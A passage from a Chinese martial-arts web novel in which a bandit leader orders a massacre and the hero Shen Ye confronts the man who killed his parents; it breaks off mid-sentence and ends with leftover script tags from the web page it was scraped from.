黑衣头子闻言,脸上露出一口黄牙,笑容更深了:“既然看到了,就好办了。”
又是一刀,又一个头颅滚了下来。
他转头对身后两人说道:“老二老三,女的留下,其余的……都杀了吧,多久没活动筋骨了?呵呵。”
被唤作老二老三的两个黑衣人应了声“是”,瞬间如鬼魅般蹿了出去。
两人手中各持一把大刀,朝着街道两侧的商户民居扑去。
而地上那三人的血,喷出来,染红了小半条街。
沈夜在门口看得很清楚。
他能救那三人吗?
能。
但他没动。
人,总要为自己的选择买单。
那三个汉子的嘴,不该说那些话。
他们,不该站在这条街上。
而此刻那黑衣头子也看到了沈夜。
此刻,夜更深了。
凄厉的惊叫声、孩童的哭喊声、器物碎裂声此起彼伏,这声音里裹着的,是无尽的绝望。
那黑衣老大露出享受的神情,他拖着刀,朝着沈夜一步一步走来,铁制的刀身在地上摩擦,发出“呲啦呲啦”的声响,像是死神的指甲在刮擦门板。
沈夜缓缓站起身,朝着他迎了上去。
风停了。
停得没声没息。
黑衣头子的脚步声,成了唯一的动静。
一步,又一步。
沈夜看着那张脸。
熟悉,又陌生。
像刻在骨头里的疤,一到阴雨天就疼。
孔雀河的水,当年是红的,血的颜色。
爹娘倒在血泊里,眼睛瞪着天,嘴里冒泡。
就是这张脸,杀了自己的爹娘。
沈夜握紧了木棒。
掌心的肉,被磨得生疼。
七步。
六步。
五步。
四步。
三步。
两步。
一步。
四目相对。
空气像冻住了。
“二十二年了,二十二年了……”
沈夜没说话,这话在心里滚了无数遍,带着血的腥气。
沈夜的眼神,没动,就这样默
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">